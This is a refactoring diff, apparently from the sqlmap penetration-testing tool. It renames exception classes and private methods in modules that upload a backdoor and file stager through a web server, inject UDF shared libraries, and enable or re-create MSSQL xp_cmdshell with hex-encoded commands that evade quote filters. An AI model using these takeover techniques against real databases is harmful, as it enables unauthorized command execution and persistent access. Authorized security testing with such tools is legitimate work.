errMsg = "the specified shared library file does not exist"
raise sqlmapFilePathException(errMsg)
raise SqlmapFilePathException(errMsg)
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
errMsg = "shared library file must end with '.dll' or '.so'"
raise sqlmapMissingMandatoryOptionException(errMsg)
raise SqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS):
errMsg = "you provided a shared object as shared library, but "
errMsg += "the database underlying operating system is Windows"
raise sqlmapMissingMandatoryOptionException(errMsg)
raise SqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX):
errMsg = "you provided a dynamic-link library as shared library, "
errMsg += "but the database underlying operating system is Linux"
raise sqlmapMissingMandatoryOptionException(errMsg)
raise SqlmapMissingMandatoryOptionException(errMsg)
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
@@ -305,7 +305,7 @@ class UDF:
return
elif choice[0] in ( "q", "Q" ):
self.cleanup(udfDict=self.udfs)
raise sqlmapUserQuitException
raise SqlmapUserQuitException
while True:
udfList = []

View File

@@ -84,12 +84,12 @@ class Web:
def webFileUpload(self, fileToUpload, destFileName, directory):
inputFP = codecs.open(fileToUpload, "rb")
retVal = self.__webFileStreamUpload(inputFP, destFileName, directory)
retVal = self._webFileStreamUpload(inputFP, destFileName, directory)
inputFP.close()
return retVal
def __webFileStreamUpload(self, stream, destFileName, directory):
def _webFileStreamUpload(self, stream, destFileName, directory):
stream.seek(0) # Rewind
if self.webApi in getPublicTypeMembers(WEB_API, True):
@@ -113,7 +113,7 @@ class Web:
else:
return True
def __webFileInject(self, fileContent, fileName, directory):
def _webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.normpath("%s/%s" % (directory, fileName))
uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = ""
@@ -239,7 +239,7 @@ class Web:
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self._webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
@@ -306,15 +306,15 @@ class Web:
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
if self._webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self._webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
if not self._webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
@@ -330,7 +330,7 @@ class Web:
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, localPath)
self._webFileInject(backdoorContent, backdoorName, localPath)
else:
continue

View File

@@ -28,7 +28,7 @@ from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.threads import getCurrentThreadData
from lib.request import inject
@@ -41,7 +41,7 @@ class Xp_cmdshell:
def __init__(self):
self.xpCmdshellStr = "master..xp_cmdshell"
def __xpCmdshellCreate(self):
def _xpCmdshellCreate(self):
cmd = ""
if Backend.isVersionWithin(("2005", "2008")):
@@ -50,18 +50,18 @@ class Xp_cmdshell:
cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
inject.goStacked(agent.runAsDBMSUser(cmd))
self.__randStr = randomStr(lowercase=True)
self.__xpCmdshellNew = "xp_%s" % randomStr(lowercase=True)
self.xpCmdshellStr = "master..%s" % self.__xpCmdshellNew
self._randStr = randomStr(lowercase=True)
self._xpCmdshellNew = "xp_%s" % randomStr(lowercase=True)
self.xpCmdshellStr = "master..%s" % self._xpCmdshellNew
cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self.__randStr, XP_CMDSHELL_NEW=self.__xpCmdshellNew)
cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr, XP_CMDSHELL_NEW=self._xpCmdshellNew)
if Backend.isVersionWithin(("2005", "2008")):
cmd += ";RECONFIGURE WITH OVERRIDE"
inject.goStacked(agent.runAsDBMSUser(cmd))
def __xpCmdshellConfigure2005(self, mode):
def _xpCmdshellConfigure2005(self, mode):
debugMsg = "configuring xp_cmdshell using sp_configure "
debugMsg += "stored procedure"
logger.debug(debugMsg)
@@ -70,7 +70,7 @@ class Xp_cmdshell:
return cmd
def __xpCmdshellConfigure2000(self, mode):
def _xpCmdshellConfigure2000(self, mode):
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
debugMsg += "stored procedure"
logger.debug(debugMsg)
@@ -82,21 +82,21 @@ class Xp_cmdshell:
return cmd
def __xpCmdshellConfigure(self, mode):
def _xpCmdshellConfigure(self, mode):
if Backend.isVersionWithin(("2005", "2008")):
cmd = self.__xpCmdshellConfigure2005(mode)
cmd = self._xpCmdshellConfigure2005(mode)
else:
cmd = self.__xpCmdshellConfigure2000(mode)
cmd = self._xpCmdshellConfigure2000(mode)
inject.goStacked(agent.runAsDBMSUser(cmd))
def __xpCmdshellCheck(self):
def _xpCmdshellCheck(self):
cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2)
self.xpCmdshellExecCmd(cmd)
return wasLastRequestDelayed()
def __xpCmdshellTest(self):
def _xpCmdshellTest(self):
threadData = getCurrentThreadData()
pushValue(threadData.disableStdOut)
threadData.disableStdOut = True
@@ -160,10 +160,10 @@ class Xp_cmdshell:
# Obfuscate the command to execute, also useful to bypass filters
# on single-quotes
self.__randStr = randomStr(lowercase=True)
self._randStr = randomStr(lowercase=True)
self.__cmd = "0x%s" % hexencode(cmd)
self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr
self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd)
self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr
self._forgedCmd += "SET @%s=%s;" % (self._randStr, self.__cmd)
# Insert the command standard output into a support table,
# 'sqlmapoutput', except when DBMS credentials are provided because
@@ -171,11 +171,11 @@ class Xp_cmdshell:
# retrieve the output when OPENROWSET is used hence the redirection
# to a temporary file from above
if insertIntoTable and not conf.dbmsCred:
self.__forgedCmd += "INSERT INTO %s " % insertIntoTable
self._forgedCmd += "INSERT INTO %s " % insertIntoTable
self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr)
return agent.runAsDBMSUser(self.__forgedCmd)
return agent.runAsDBMSUser(self._forgedCmd)
def xpCmdshellExecCmd(self, cmd, silent=False):
cmd = self.xpCmdshellForgeCmd(cmd)
@@ -237,7 +237,7 @@ class Xp_cmdshell:
infoMsg += "available, please wait.."
logger.info(infoMsg)
result = self.__xpCmdshellCheck()
result = self._xpCmdshellCheck()
if result:
logger.info("xp_cmdshell extended procedure is available")
@@ -250,9 +250,9 @@ class Xp_cmdshell:
choice = readInput(message, default="Y")
if not choice or choice in ("y", "Y"):
self.__xpCmdshellConfigure(1)
self._xpCmdshellConfigure(1)
if self.__xpCmdshellCheck():
if self._xpCmdshellCheck():
logger.info("xp_cmdshell re-enabled successfully")
kb.xpCmdshellAvailable = True
@@ -260,10 +260,10 @@ class Xp_cmdshell:
logger.warn("xp_cmdshell re-enabling failed")
logger.info("creating xp_cmdshell with sp_OACreate")
self.__xpCmdshellConfigure(0)
self.__xpCmdshellCreate()
self._xpCmdshellConfigure(0)
self._xpCmdshellCreate()
if self.__xpCmdshellCheck():
if self._xpCmdshellCheck():
logger.info("xp_cmdshell created successfully")
kb.xpCmdshellAvailable = True
@@ -276,7 +276,7 @@ class Xp_cmdshell:
if not kb.xpCmdshellAvailable:
errMsg = "unable to proceed without xp_cmdshell"
raise sqlmapUnsupportedFeatureException, errMsg
raise SqlmapUnsupportedFeatureException, errMsg
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
@@ -286,4 +286,4 @@ class Xp_cmdshell:
# "The text, ntext, and image data types cannot be compared or sorted"
self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)")
self.__xpCmdshellTest()
self._xpCmdshellTest()